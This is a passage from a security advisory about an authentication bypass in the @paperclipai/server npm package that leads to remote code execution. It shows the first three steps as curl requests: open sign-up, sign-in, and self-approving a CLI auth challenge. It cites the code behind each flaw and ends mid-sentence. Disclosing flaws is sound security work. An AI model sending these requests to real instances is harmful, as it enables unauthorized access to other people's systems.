GitHub Security Advisory: GHSA-68qg-g8mg-6pr7
Package: @paperclipai/server (NPM)
Severity: CRITICAL (CVSS 10.0)
CWE: CWE-287: Improper Authentication, CWE-862: Missing Authorization, CWE-1188: Initialization of a Resource with an Insecure Default
Vulnerable versions: < 2026.410.0
Patched in: 2026.410.0

Summary: paperclip Vulnerable to Unauthenticated Remote Code Execution via Import Authorization Bypass

Details:
## Summary

An unauthenticated attacker can achieve full remote code execution on any network-accessible Paperclip instance running in `authenticated` mode with default configuration. No user interaction, no credentials, just the target's address. The entire chain is six API calls.

I verified every step against the latest version. I have a fully automated PoC script and a video recording available.

Discord: sagi03581

## Steps to Reproduce

The attack chains four independent flaws to escalate from zero access to RCE:

### Step 1: Create an account (no invite, no email verification)

```bash
curl -s -X POST -H "Content-Type: application/json" \
  -d '{"email":"attacker@evil.com","password":"P@ssw0rd123","name":"attacker"}' \
  http://<target>:3100/api/auth/sign-up/email
```

Returns a valid account immediately. No invite token required, no email verification.

This works because `PAPERCLIP_AUTH_DISABLE_SIGN_UP` defaults to `false` in `server/src/config.ts:169-173`:

```typescript
const authDisableSignUp: boolean =
  disableSignUpFromEnv !== undefined
    ? disableSignUpFromEnv === "true"
    : (fileConfig?.auth?.disableSignUp ?? false);   // default: open
```

And email verification is hardcoded off in `server/src/auth/better-auth.ts:89-93`:

```typescript
emailAndPassword: {
  enabled: true,
  requireEmailVerification: false,
  disableSignUp: config.authDisableSignUp,
},
```

The environment variable isn't documented in the deployment guide, so operators don't know it exists.

### Step 2: Sign in

```bash
curl -s -v -X POST -H "Content-Type: application/json" \
  -d '{"email":"attacker@evil.com","password":"P@ssw0rd123"}' \
  http://<target>:3100/api/auth/sign-in/email
```

Capture the session cookie from the `Set-Cookie` header.

### Step 3: Create a CLI auth challenge and self-approve it

Create the challenge (no authentication required at all):

```bash
curl -s -X POST -H "Content-Type: application/json" \
  -d '{"command":"test"}' \
  http://<target>:3100/api/cli-auth/challenges
```

The response includes a `token` and a `boardApiToken`. The handler at `server/src/routes/access.ts:1638-1659` has no actor check -- anyone can create a challenge.

Now approve it with our own session:

```bash
curl -s -X POST \
  -H "Cookie: <session-cookie>" \
  -H "Content-Type: application/json" \
  -H "Origin: http://<target>:3100" \
  -d '{"token":"<token-from-above>"}' \
  http://<target>:3100/api/cli-auth/challenges/<id>/approve
```

The approval handler at `server/src/routes/access.ts:1687-1704` checks that the caller is a board user but does not check whether the approver is the same person who created the challenge:

```typescript
if (req.actor.type !== "board" || (!req.actor.userId && !isLocalImplicit(req))) {
  throw unauthorized("Sign in before approving CLI access");
}
// no check that approver !== creator
const userId = req.actor.userId ?? "local-board";
const approved = await boardAuth.approveCliAuthChallenge(id, req.body.token, userId);
```

Th